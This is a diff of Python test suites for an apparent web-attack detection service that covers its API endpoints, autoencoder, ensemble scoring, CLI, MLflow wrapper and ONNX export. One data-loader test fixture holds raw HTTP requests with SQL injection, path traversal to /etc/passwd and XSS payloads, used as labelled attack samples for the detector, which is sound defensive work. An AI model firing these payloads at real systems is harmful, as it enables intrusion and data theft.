async def test_health_returns_200() -> None:
async def test_health_returns_200(db_client) -> None:
"""
Health endpoint returns 200 with status and uptime.
Health endpoint returns 200 with status, uptime, and pipeline flag.
"""
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
response = await client.get("/health")
response = await db_client.get("/health")
assert response.status_code == 200
data = response.json()
assert data["status"] == "healthy"
assert "uptime_seconds" in data
assert isinstance(data["uptime_seconds"], int | float)
assert "pipeline_running" in data
@pytest.mark.asyncio
async def test_health_returns_pipeline_status() -> None:
"""
Health response includes pipeline_running boolean.
"""
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
response = await client.get("/health")
data = response.json()
assert isinstance(data["pipeline_running"], bool)
@pytest.mark.asyncio
async def test_ready_returns_check_structure() -> None:
"""
Readiness endpoint returns structured component checks.
"""
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
response = await client.get("/ready")
assert response.status_code in (200, 503)
data = response.json()
assert "status" in data
assert "checks" in data
assert "database" in data["checks"]
assert "redis" in data["checks"]
assert "models_loaded" in data["checks"]
@pytest.mark.asyncio
async def test_list_threats_empty(db_client) -> None:
"""
@ -166,7 +132,7 @@ async def test_stats_empty_window(db_client) -> None:
assert response.status_code == 200
data = response.json()
assert data["time_range"] == "24h"
assert data["total_requests"] == 0
assert data["threats_stored"] == 0
assert data["threats_detected"] == 0
assert data["severity_breakdown"]["high"] == 0
assert data["severity_breakdown"]["medium"] == 0
@ -176,28 +142,25 @@ async def test_stats_empty_window(db_client) -> None:
@pytest.mark.asyncio
async def test_model_status() -> None:
async def test_model_status(db_client) -> None:
"""
GET /models/status returns rules-only detection mode.
GET /models/status returns detection mode and active model list.
"""
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
response = await client.get("/models/status")
response = await db_client.get("/models/status")
assert response.status_code == 200
data = response.json()
assert data["detection_mode"] == "rules-only"
assert data["active_models"] == []
assert "detection_mode" in data
assert "active_models" in data
assert isinstance(data["active_models"], list)
@pytest.mark.asyncio
async def test_retrain_returns_202() -> None:
async def test_retrain_returns_202(db_client) -> None:
"""
POST /models/retrain returns 202 Accepted with a job ID.
"""
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
response = await client.post("/models/retrain")
response = await db_client.post("/models/retrain")
assert response.status_code == 202
data = response.json()

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
test_autoencoder.py
Tests the ThreatAutoencoder architecture: shapes, output range, reconstruction error, and training behavior.
"""
import pytest
@ -12,18 +14,27 @@ from ml.autoencoder import ThreatAutoencoder
class TestAutoencoderArchitecture:
def test_output_shape_matches_input(self) -> None:
"""
Forward pass on a batch of 16 produces output matching input shape.
"""
model = ThreatAutoencoder(input_dim=35)
x = torch.randn(16, 35)
out = model(x)
assert out.shape == (16, 35)
def test_bottleneck_dim_is_six(self) -> None:
"""
Encoder bottleneck compresses 35 features to a 6-dimensional latent vector.
"""
model = ThreatAutoencoder(input_dim=35)
x = torch.randn(4, 35)
encoded = model.encode(x)
assert encoded.shape == (4, 6)
def test_single_sample_forward(self) -> None:
"""
Single-sample forward pass completes without error in eval mode.
"""
model = ThreatAutoencoder(input_dim=35)
model.eval()
x = torch.randn(1, 35)
@ -31,24 +42,33 @@ class TestAutoencoderArchitecture:
out = model(x)
assert out.shape == (1, 35)
def test_output_values_in_zero_one_range(self) -> None:
def test_output_is_unbounded(self) -> None:
"""
Decoder output is unbounded to match RobustScaler-transformed input range.
"""
model = ThreatAutoencoder(input_dim=35)
model.eval()
x = torch.randn(32, 35)
x = torch.randn(64, 35) * 3.0
with torch.no_grad():
out = model(x)
assert out.min() >= 0.0
assert out.max() <= 1.0
assert out.shape == (64, 35)
assert out.min().item() < 0.0 or out.max().item() > 1.0
def test_reconstruction_error_shape(self) -> None:
"""
compute_reconstruction_error returns one scalar per sample in the batch.
"""
model = ThreatAutoencoder(input_dim=35)
model.eval()
x = torch.randn(8, 35)
with torch.no_grad():
errors = model.compute_reconstruction_error(x)
assert errors.shape == (8,)
assert errors.shape == (8, )
def test_reconstruction_error_positive(self) -> None:
"""
Reconstruction error is non-negative for all samples.
"""
model = ThreatAutoencoder(input_dim=35)
model.eval()
x = torch.randn(8, 35)
@ -56,7 +76,11 @@ class TestAutoencoderArchitecture:
errors = model.compute_reconstruction_error(x)
assert (errors >= 0.0).all()
def test_trained_model_reconstructs_normal_better_than_anomaly(self) -> None:
def test_trained_model_reconstructs_normal_better_than_anomaly(
self) -> None:
"""
After training on normal data, reconstruction error is lower for normals than anomalies.
"""
torch.manual_seed(42)
model = ThreatAutoencoder(input_dim=35)
optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)
@ -74,13 +98,17 @@ class TestAutoencoderArchitecture:
model.eval()
with torch.no_grad():
normal_errors = model.compute_reconstruction_error(normal_data[:50])
normal_errors = model.compute_reconstruction_error(
normal_data[:50])
anomaly_data = torch.rand(50, 35) * 3.0 - 1.0
anomaly_errors = model.compute_reconstruction_error(anomaly_data)
assert anomaly_errors.mean() > normal_errors.mean()
def test_eval_mode_disables_dropout(self) -> None:
"""
Identical inputs produce identical outputs in eval mode (dropout is off).
"""
model = ThreatAutoencoder(input_dim=35)
model.eval()
x = torch.randn(4, 35)
@ -91,6 +119,9 @@ class TestAutoencoderArchitecture:
@pytest.mark.parametrize("batch_size", [1, 8, 32, 128])
def test_variable_batch_sizes(self, batch_size: int) -> None:
"""
Output shape matches input for batch sizes 1, 8, 32, and 128.
"""
model = ThreatAutoencoder(input_dim=35)
model.eval()
x = torch.randn(batch_size, 35)

View File

@ -0,0 +1,143 @@
"""
©AngelaMos | 2026
test_cli.py
"""
import re
from unittest import mock
from typer.testing import CliRunner
from cli.main import app
runner = CliRunner()
_ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")
def _clean(text: str) -> str:
"""
Strip ANSI escape codes and lowercase
"""
return _ANSI_RE.sub("", text).lower()
class TestCLICommands:
"""
Test CLI help output and argument validation
"""
def test_train_help_shows_csic_dir(self, ) -> None:
"""
train --help shows csic-dir option
"""
result = runner.invoke(app, ["train", "--help"])
assert result.exit_code == 0
assert "csic-dir" in _clean(result.output)
def test_train_help_shows_synthetic_options(self, ) -> None:
"""
train --help shows synthetic normal and attack options
"""
result = runner.invoke(app, ["train", "--help"])
assert result.exit_code == 0
output = _clean(result.output)
assert "synthetic-normal" in output
assert "synthetic-attack" in output
def test_train_invalid_csic_dir_fails(self, ) -> None:
"""
train with nonexistent csic-dir exits with error
"""
result = runner.invoke(
app,
[
"train",
"--csic-dir",
"/nonexistent/csic",
"--synthetic-normal",
"0",
"--synthetic-attack",
"0",
],
)
assert result.exit_code != 0
def test_replay_help(self) -> None:
"""
replay --help exits cleanly and mentions log
"""
result = runner.invoke(app, ["replay", "--help"])
assert result.exit_code == 0
assert "log" in _clean(result.output)
def test_serve_help(self) -> None:
"""
serve --help exits cleanly and mentions host
"""
result = runner.invoke(app, ["serve", "--help"])
assert result.exit_code == 0
assert "host" in _clean(result.output)
def test_config_help(self) -> None:
"""
config --help exits cleanly
"""
result = runner.invoke(app, ["config", "--help"])
assert result.exit_code == 0
def test_health_help(self) -> None:
"""
health --help exits cleanly
"""
result = runner.invoke(app, ["health", "--help"])
assert result.exit_code == 0
def test_replay_missing_log_fails(self) -> None:
"""
replay with nonexistent log file exits with error
"""
result = runner.invoke(
app,
[
"replay",
"--log-file",
"/nonexistent/access.log",
],
)
assert result.exit_code != 0
class TestCLITrainMetadata:
"""
Test metadata persistence wiring in the train command
"""
def test_train_warns_when_db_unavailable(self) -> None:
"""
train exits 0 and emits a warning when DB write fails
"""
mock_result = mock.MagicMock()
mock_result.ensemble_metrics = None
mock_result.passed_gates = True
mock_result.mlflow_run_id = None
mock_result.ae_metrics = {}
with mock.patch(
"ml.orchestrator.TrainingOrchestrator"
) as mock_class:
mock_class.return_value.run.return_value = mock_result
result = runner.invoke(
app,
[
"train",
"--synthetic-normal",
"5",
"--synthetic-attack",
"3",
],
)
assert result.exit_code == 0
output = _clean(result.output)
assert "warning" in output or "metadata" in output

View File

@ -1,31 +1,45 @@
"""
©AngelaMos | 2026
test_config_ml.py
Tests ML-related settings defaults: detection mode, ensemble weights, model paths, and MLflow URI.
"""
from app.config import settings
def test_default_detection_mode_is_rules() -> None:
"""
Default detection_mode is 'rules' before any ML models are loaded.
"""
assert settings.detection_mode == "rules"
def test_default_ensemble_weights_sum_to_one() -> None:
total = (
settings.ensemble_weight_ae
+ settings.ensemble_weight_rf
+ settings.ensemble_weight_if
)
"""
AE + RF + IF ensemble weights sum to exactly 1.0.
"""
total = (settings.ensemble_weight_ae + settings.ensemble_weight_rf +
settings.ensemble_weight_if)
assert abs(total - 1.0) < 1e-6
def test_default_model_dir() -> None:
"""
Default model artifact directory is data/models.
"""
assert settings.model_dir == "data/models"
def test_default_ae_threshold_percentile() -> None:
"""
Default autoencoder threshold percentile is 99.5.
"""
assert settings.ae_threshold_percentile == 99.5
def test_default_mlflow_tracking_uri() -> None:
"""
Default MLflow tracking URI uses local file storage.
"""
assert settings.mlflow_tracking_uri == "file:./mlruns"

View File

@ -0,0 +1,349 @@
"""
©AngelaMos | 2026
test_data_loader.py
"""
from pathlib import Path
import numpy as np
from ml.data_loader import (
CSICRequest,
csic_to_parsed_entry,
load_csic_dataset,
parse_csic_file,
)
NORMAL_GET_FIXTURE = """\
GET /tienda1/publico/anadir.jsp?id=2&nombre=Jam%F3n HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Accept-Encoding: x-gzip, x-deflate, gzip, deflate
Connection: close
GET /tienda1/publico/pagar.jsp HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Accept: text/xml,application/xml
Accept-Language: en
Connection: close
GET /tienda1/publico/entrar.jsp HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Accept: text/xml
Connection: close
POST /tienda1/publico/registro.jsp HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Accept: text/xml,application/xml
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Connection: close
nombre=Juan&apellidos=Garcia&email=juan@example.com&submit=Enviar
GET /tienda1/publico/vac498.jsp?manufacturer=Dell HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Accept: text/xml
Connection: close
"""
ATTACK_FIXTURE = """\
GET /tienda1/publico/anadir.jsp?id=2&nombre=Jam%F3n'+OR+1=1-- HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Accept: text/xml
Connection: close
POST /tienda1/publico/autenticar.jsp HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Connection: close
usuario=admin'+OR+1=1--&contrasenya=pass&B1=Enviar
GET /tienda1/publico/../../../etc/passwd HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Accept: text/xml
Connection: close
GET /tienda1/publico/anadir.jsp?id=<script>alert(1)</script> HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Accept: text/xml
Connection: close
"""
MALFORMED_FIXTURE = """\
THIS IS NOT HTTP
GET /valid/path HTTP/1.1
Host: localhost:8080
User-Agent: TestBot
Connection: close
just some random garbage here
and more garbage
"""
class TestParseCSICFile:
"""
Test CSIC 2010 file parser
"""
def test_parses_normal_get_requests(self, tmp_path: Path) -> None:
"""
Normal GET requests are parsed into CSICRequest dataclass instances
"""
f = tmp_path / "normalTrafficTraining.txt"
f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
results = parse_csic_file(f, label=0)
assert len(results) == 5
assert all(isinstance(r, CSICRequest) for r in results)
assert all(r.label == 0 for r in results)
def test_parses_get_method_and_path(self, tmp_path: Path) -> None:
"""
First GET request has correct method, path, and query string
"""
f = tmp_path / "normal.txt"
f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
results = parse_csic_file(f, label=0)
first = results[0]
assert first.method == "GET"
assert first.path == "/tienda1/publico/anadir.jsp"
assert first.query_string == "id=2&nombre=Jam%F3n"
assert first.protocol == "HTTP/1.1"
def test_parses_headers(self, tmp_path: Path) -> None:
"""
Headers are captured as a dict
"""
f = tmp_path / "normal.txt"
f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
results = parse_csic_file(f, label=0)
first = results[0]
assert first.headers["Host"] == "localhost:8080"
assert "Konqueror" in first.headers["User-Agent"]
def test_parses_post_with_body(self, tmp_path: Path) -> None:
"""
POST request body is captured
"""
f = tmp_path / "normal.txt"
f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
results = parse_csic_file(f, label=0)
post_req = results[3]
assert post_req.method == "POST"
assert "nombre=Juan" in post_req.body
def test_parses_attack_file_with_label_1(self, tmp_path: Path) -> None:
"""
Attack file entries get label=1
"""
f = tmp_path / "anomalous.txt"
f.write_text(ATTACK_FIXTURE, encoding="utf-8")
results = parse_csic_file(f, label=1)
assert len(results) == 4
assert all(r.label == 1 for r in results)
def test_attack_sqli_in_query(self, tmp_path: Path) -> None:
"""
SQLi payload appears in query string of attack GET
"""
f = tmp_path / "anomalous.txt"
f.write_text(ATTACK_FIXTURE, encoding="utf-8")
results = parse_csic_file(f, label=1)
first = results[0]
assert "OR+1=1" in first.query_string
def test_attack_sqli_in_body(self, tmp_path: Path) -> None:
"""
SQLi payload appears in POST body of attack
"""
f = tmp_path / "anomalous.txt"
f.write_text(ATTACK_FIXTURE, encoding="utf-8")
results = parse_csic_file(f, label=1)
post_req = results[1]
assert post_req.method == "POST"
assert "OR+1=1" in post_req.body
def test_malformed_blocks_skipped(self, tmp_path: Path) -> None:
"""
Malformed/non-HTTP lines are skipped gracefully
"""
f = tmp_path / "malformed.txt"
f.write_text(MALFORMED_FIXTURE, encoding="utf-8")
results = parse_csic_file(f, label=0)
assert len(results) == 1
assert results[0].method == "GET"
assert results[0].path == "/valid/path"
def test_empty_file_returns_empty_list(self, tmp_path: Path) -> None:
"""
Empty file returns an empty list
"""
f = tmp_path / "empty.txt"
f.write_text("", encoding="utf-8")
results = parse_csic_file(f, label=0)
assert results == []
class TestCSICToParsedEntry:
"""
Test conversion from CSICRequest to ParsedLogEntry
"""
def test_converts_get_request(self) -> None:
"""
GET CSICRequest converts to ParsedLogEntry with synthesized fields
"""
req = CSICRequest(
method="GET",
path="/tienda1/publico/anadir.jsp",
query_string="id=2&nombre=test",
protocol="HTTP/1.1",
headers={
"Host": "localhost:8080",
"User-Agent": "Mozilla/5.0 (compatible; Konqueror/3.5)",
},
body="",
label=0,
)
entry = csic_to_parsed_entry(req)
assert entry.method == "GET"
assert entry.path == "/tienda1/publico/anadir.jsp"
assert entry.query_string == "id=2&nombre=test"
assert entry.status_code == 200
assert entry.response_size == 0
assert entry.user_agent == "Mozilla/5.0 (compatible; Konqueror/3.5)"
assert entry.ip != ""
assert entry.timestamp is not None
def test_converts_post_with_body_in_query(self) -> None:
"""
POST body is appended to query_string for feature extraction
"""
req = CSICRequest(
method="POST",
path="/login",
query_string="",
protocol="HTTP/1.1",
headers={"User-Agent": "TestBot"},
body="user=admin'+OR+1=1--&pass=x",
label=1,
)
entry = csic_to_parsed_entry(req)
assert entry.method == "POST"
assert "OR+1=1" in entry.query_string
def test_missing_ua_gets_default(self) -> None:
"""
CSICRequest without User-Agent header gets a default user agent
"""
req = CSICRequest(
method="GET",
path="/test",
query_string="",
protocol="HTTP/1.1",
headers={"Host": "localhost"},
body="",
label=0,
)
entry = csic_to_parsed_entry(req)
assert len(entry.user_agent) > 0
class TestLoadCSICDataset:
"""
Test end-to-end dataset loading with feature extraction
"""
def test_returns_correct_shape(self, tmp_path: Path) -> None:
"""
load_csic_dataset returns X with 35 columns and matching y
"""
normal = tmp_path / "normal.txt"
attack = tmp_path / "attack.txt"
normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
X, y = load_csic_dataset(normal, attack)
assert X.shape[1] == 35
assert X.shape[0] == y.shape[0]
def test_contains_both_labels(self, tmp_path: Path) -> None:
"""
y array contains both 0 (normal) and 1 (attack) labels
"""
normal = tmp_path / "normal.txt"
attack = tmp_path / "attack.txt"
normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
_, y = load_csic_dataset(normal, attack)
assert 0 in y
assert 1 in y
def test_label_counts_match_files(self, tmp_path: Path) -> None:
"""
Normal and attack counts match the number of requests in each file
"""
normal = tmp_path / "normal.txt"
attack = tmp_path / "attack.txt"
normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
_, y = load_csic_dataset(normal, attack)
assert np.sum(y == 0) == 5
assert np.sum(y == 1) == 4
def test_feature_values_are_finite(self, tmp_path: Path) -> None:
"""
All feature values are finite (no NaN or Inf)
"""
normal = tmp_path / "normal.txt"
attack = tmp_path / "attack.txt"
normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
X, _ = load_csic_dataset(normal, attack)
assert np.all(np.isfinite(X))

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
test_detection.py
Tests the rule engine's threat scoring, severity classification, and attack pattern matching.
"""
from datetime import datetime, UTC

View File

@ -0,0 +1,156 @@
"""
©AngelaMos | 2026
test_ensemble.py
Tests ensemble score normalization, weighted fusion, ML/rule blending, and severity classification.
"""
from app.core.detection.ensemble import (
blend_scores,
classify_severity,
fuse_scores,
normalize_ae_score,
normalize_if_score,
)
class TestScoreNormalization:
def test_ae_score_below_threshold(self) -> None:
"""
AE error below threshold maps to a score below 0.5.
"""
result = normalize_ae_score(0.05, threshold=0.10)
assert abs(result - 0.25) < 1e-6
def test_ae_score_above_double_threshold_caps_at_one(self) -> None:
"""
AE error at 3x threshold is capped at 1.0.
"""
result = normalize_ae_score(0.30, threshold=0.10)
assert result == 1.0
def test_ae_score_zero_error(self) -> None:
"""
Zero reconstruction error maps to a score of 0.0.
"""
result = normalize_ae_score(0.0, threshold=0.10)
assert result == 0.0
def test_if_score_negative(self) -> None:
"""
Negative IF score (anomalous region) maps above 0.5.
"""
result = normalize_if_score(-0.5)
assert abs(result - 0.75) < 1e-6
def test_if_score_positive(self) -> None:
"""
Positive IF score (normal region) maps below 0.5.
"""
result = normalize_if_score(0.5)
assert abs(result - 0.25) < 1e-6
def test_if_score_zero(self) -> None:
"""
Zero IF score maps to exactly 0.5.
"""
result = normalize_if_score(0.0)
assert abs(result - 0.5) < 1e-6
class TestEnsembleFusion:
def test_weighted_average(self) -> None:
"""
Fused score is the weighted average of AE, RF, and IF scores.
"""
scores = {"ae": 0.8, "rf": 0.6, "if": 0.5}
weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
result = fuse_scores(scores, weights)
expected = 0.8 * 0.4 + 0.6 * 0.4 + 0.5 * 0.2
assert abs(result - expected) < 1e-6
def test_all_zero_scores(self) -> None:
"""
All-zero model scores fuse to 0.0.
"""
scores = {"ae": 0.0, "rf": 0.0, "if": 0.0}
weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
assert fuse_scores(scores, weights) == 0.0
def test_all_max_scores(self) -> None:
"""
All-one model scores fuse to 1.0.
"""
scores = {"ae": 1.0, "rf": 1.0, "if": 1.0}
weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
assert abs(fuse_scores(scores, weights) - 1.0) < 1e-6
def test_partial_models(self) -> None:
"""
Fusion works correctly with only two models present.
"""
scores = {"ae": 0.9, "rf": 0.7}
weights = {"ae": 0.5, "rf": 0.5}
expected = 0.9 * 0.5 + 0.7 * 0.5
assert abs(fuse_scores(scores, weights) - expected) < 1e-6
class TestBlendScores:
def test_blend_with_rule_score(self) -> None:
"""
ML and rule scores blend according to the specified ml_weight.
"""
result = blend_scores(ml_score=0.7, rule_score=0.9, ml_weight=0.7)
expected = 0.7 * 0.7 + 0.9 * 0.3
assert abs(result - expected) < 1e-6
def test_blend_full_ml_weight(self) -> None:
"""
ml_weight of 1.0 returns the pure ML score.
"""
result = blend_scores(ml_score=0.8, rule_score=0.2, ml_weight=1.0)
assert abs(result - 0.8) < 1e-6
def test_blend_full_rule_weight(self) -> None:
"""
ml_weight of 0.0 returns the pure rule score.
"""
result = blend_scores(ml_score=0.8, rule_score=0.2, ml_weight=0.0)
assert abs(result - 0.2) < 1e-6
def test_blend_clamped_to_one(self) -> None:
"""
Blended score is clamped to 1.0 even when both inputs are 1.0.
"""
result = blend_scores(ml_score=1.0, rule_score=1.0, ml_weight=0.5)
assert result <= 1.0
class TestClassifySeverity:
def test_high(self) -> None:
"""
Scores >= 0.7 classify as HIGH.
"""
assert classify_severity(0.8) == "HIGH"
assert classify_severity(0.7) == "HIGH"
assert classify_severity(1.0) == "HIGH"
def test_medium(self) -> None:
"""
Scores in [0.5, 0.7) classify as MEDIUM.
"""
assert classify_severity(0.55) == "MEDIUM"
assert classify_severity(0.5) == "MEDIUM"
assert classify_severity(0.69) == "MEDIUM"
def test_low(self) -> None:
"""
Scores below 0.5 classify as LOW.
"""
assert classify_severity(0.3) == "LOW"
assert classify_severity(0.0) == "LOW"
assert classify_severity(0.49) == "LOW"

View File

@ -0,0 +1,101 @@
"""
©AngelaMos | 2026
test_experiment.py
Tests the VigilExperiment MLflow wrapper: run lifecycle, param/metric logging, and status tagging.
"""
from pathlib import Path
import mlflow
import pytest
from ml.experiment import VigilExperiment
@pytest.fixture(autouse=True)
def _mlflow_tmp(tmp_path: Path) -> None:
"""
Point MLflow at a temp directory for isolation
"""
mlflow.set_tracking_uri(f"file:{tmp_path}/mlruns")
class TestVigilExperiment:
def test_creates_run_with_id(self) -> None:
"""
Entering the context manager creates an MLflow run with a non-None run ID.
"""
with VigilExperiment("test-exp") as exp:
assert exp.run_id is not None
def test_run_id_is_none_before_enter(self) -> None:
"""
run_id is None until the context manager is entered.
"""
exp = VigilExperiment("test-exp")
assert exp.run_id is None
def test_log_params(self) -> None:
"""
log_params writes key-value pairs to the MLflow run as strings.
"""
with VigilExperiment("test-exp") as exp:
exp.log_params({"lr": 0.001, "epochs": 10})
run = mlflow.get_run(exp.run_id)
assert run.data.params["lr"] == "0.001"
assert run.data.params["epochs"] == "10"
def test_log_metrics(self) -> None:
"""
log_metrics stores numeric values on the MLflow run.
"""
with VigilExperiment("test-exp") as exp:
exp.log_metrics({"f1": 0.95, "loss": 0.02})
run = mlflow.get_run(exp.run_id)
assert run.data.metrics["f1"] == 0.95
def test_log_artifact(self, tmp_path: Path) -> None:
"""
log_artifact uploads a file so it appears in the run's artifact list.
"""
artifact = tmp_path / "dummy.txt"
artifact.write_text("test content")
with VigilExperiment("test-exp") as exp:
exp.log_artifact(artifact)
run_id = exp.run_id
client = mlflow.MlflowClient()
artifacts = client.list_artifacts(run_id)
names = [a.path for a in artifacts]
assert "dummy.txt" in names
def test_system_metadata_logged(self) -> None:
"""
python_version and platform tags are added automatically on run start.
"""
with VigilExperiment("test-exp") as exp:
run = mlflow.get_run(exp.run_id)
assert "python_version" in run.data.tags
assert "platform" in run.data.tags
def test_completed_status_on_success(self) -> None:
"""
Run tagged with status='completed' when the context exits cleanly.
"""
with VigilExperiment("test-exp") as exp:
run_id = exp.run_id
run = mlflow.get_run(run_id)
assert run.data.tags["status"] == "completed"
def test_failed_status_on_exception(self) -> None:
"""
Run tagged with status='failed' and error message when an exception is raised.
"""
run_id = None
with pytest.raises(ValueError), VigilExperiment("test-exp") as exp:
run_id = exp.run_id
raise ValueError("boom")
run = mlflow.get_run(run_id)
assert run.data.tags["status"] == "failed"
assert "boom" in run.data.tags["error"]

View File

@ -0,0 +1,131 @@
"""
©AngelaMos | 2026
test_export_onnx.py
Tests ONNX export for the autoencoder, random forest, and isolation forest models.
"""
from pathlib import Path
import numpy as np
import onnxruntime as ort
import torch
from sklearn.ensemble import IsolationForest, RandomForestClassifier
from ml.autoencoder import ThreatAutoencoder
from ml.export_onnx import (
export_autoencoder,
export_isolation_forest,
export_random_forest,
)
class TestAutoencoderExport:
def test_creates_onnx_file(self, tmp_path: Path) -> None:
"""
Exporting creates a non-empty .onnx file at the given path.
"""
model = ThreatAutoencoder(input_dim=35)
path = export_autoencoder(model, tmp_path / "ae.onnx")
assert path.exists()
assert path.stat().st_size > 0
def test_onnx_output_matches_pytorch(self, tmp_path: Path) -> None:
"""
ONNX inference output matches PyTorch forward pass within 1e-5 tolerance.
"""
torch.manual_seed(42)
model = ThreatAutoencoder(input_dim=35)
model.eval()
onnx_path = export_autoencoder(model, tmp_path / "ae.onnx")
rng = np.random.default_rng(42)
x = rng.standard_normal((8, 35)).astype(np.float32)
with torch.no_grad():
pt_out = model(torch.from_numpy(x)).numpy()
session = ort.InferenceSession(str(onnx_path))
ort_out = session.run(None, {"features": x})[0]
np.testing.assert_allclose(pt_out, ort_out, atol=1e-5)
def test_dynamic_batch_dimension(self, tmp_path: Path) -> None:
"""
Exported model accepts variable batch sizes (1, 16, 64).
"""
model = ThreatAutoencoder(input_dim=35)
model.eval()
onnx_path = export_autoencoder(model, tmp_path / "ae.onnx")
session = ort.InferenceSession(str(onnx_path))
for batch_size in (1, 16, 64):
rng = np.random.default_rng(batch_size)
x = rng.standard_normal((batch_size, 35)).astype(np.float32)
out = session.run(None, {"features": x})[0]
assert out.shape == (batch_size, 35)
class TestRandomForestExport:
def test_creates_onnx_file(self, tmp_path: Path) -> None:
"""
Exporting a fitted RandomForest creates a non-empty .onnx file.
"""
rng = np.random.default_rng(42)
rf = RandomForestClassifier(n_estimators=10, random_state=42)
X = rng.standard_normal((100, 35)).astype(np.float32)
y = np.concatenate([np.zeros(70, dtype=int), np.ones(30, dtype=int)])
rf.fit(X, y)
path = export_random_forest(rf, 35, tmp_path / "rf.onnx")
assert path.exists()
assert path.stat().st_size > 0
def test_onnx_produces_valid_output(self, tmp_path: Path) -> None:
"""
ONNX inference returns class predictions and probabilities for each sample.
"""
rng = np.random.default_rng(42)
rf = RandomForestClassifier(n_estimators=10, random_state=42)
X = rng.standard_normal((100, 35)).astype(np.float32)
y = np.concatenate([np.zeros(70, dtype=int), np.ones(30, dtype=int)])
rf.fit(X, y)
onnx_path = export_random_forest(rf, 35, tmp_path / "rf.onnx")
session = ort.InferenceSession(str(onnx_path))
x_test = rng.standard_normal((5, 35)).astype(np.float32)
result = session.run(None, {"features": x_test})
assert len(result) == 2
assert len(result[0]) == 5
class TestIsolationForestExport:
def test_creates_onnx_file(self, tmp_path: Path) -> None:
"""
Exporting a fitted IsolationForest creates a non-empty .onnx file.
"""
rng = np.random.default_rng(42)
iso = IsolationForest(n_estimators=10, random_state=42)
iso.fit(rng.standard_normal((100, 35)).astype(np.float32))
path = export_isolation_forest(iso, 35, tmp_path / "if.onnx")
assert path.exists()
assert path.stat().st_size > 0
def test_onnx_scores_match_decision_function(self, tmp_path: Path) -> None:
"""
ONNX anomaly scores match sklearn decision_function within 1e-4 tolerance.
"""
rng = np.random.default_rng(42)
iso = IsolationForest(n_estimators=10, random_state=42)
X = rng.standard_normal((100, 35)).astype(np.float32)
iso.fit(X)
onnx_path = export_isolation_forest(iso, 35, tmp_path / "if.onnx")
session = ort.InferenceSession(str(onnx_path))
x_test = rng.standard_normal((10, 35)).astype(np.float32)
sk_decision = iso.decision_function(x_test)
ort_scores = session.run(None, {"features": x_test})[1].flatten()
np.testing.assert_allclose(sk_decision, ort_scores, atol=1e-4)

View File

@ -1,11 +1,20 @@
"""
©AngelaMos | 2026
test_features.py
Tests per-request feature extraction, Redis sliding-window aggregation, and feature encoding.
"""
import time
from datetime import datetime, UTC
import fakeredis.aioredis
import pytest
from app.core.features.aggregator import WindowAggregator
from app.core.features.encoder import encode_for_inference
from app.core.features.extractor import extract_request_features
from app.core.features.mappings import FEATURE_ORDER, METHOD_MAP, STATUS_CLASS_MAP
from app.core.ingestion.parsers import ParsedLogEntry
FEATURE_KEYS = {
@ -79,16 +88,20 @@ def test_path_depth() -> None:
Path depth counts non-empty segments between slashes.
"""
assert extract_request_features(_make_entry(path="/"))["path_depth"] == 0
assert extract_request_features(_make_entry(path="/api"))["path_depth"] == 1
assert extract_request_features(_make_entry(path="/api/v1/users"))["path_depth"] == 3
assert extract_request_features(
_make_entry(path="/api"))["path_depth"] == 1
assert extract_request_features(
_make_entry(path="/api/v1/users"))["path_depth"] == 3
def test_path_entropy_high_vs_low() -> None:
"""
Random-character paths have higher entropy than simple paths.
"""
low = extract_request_features(_make_entry(path="/index.html"))["path_entropy"]
high = extract_request_features(_make_entry(path="/x8Kp2mQz7wR4vL1n"))["path_entropy"]
low = extract_request_features(
_make_entry(path="/index.html"))["path_entropy"]
high = extract_request_features(
_make_entry(path="/x8Kp2mQz7wR4vL1n"))["path_entropy"]
assert high > low
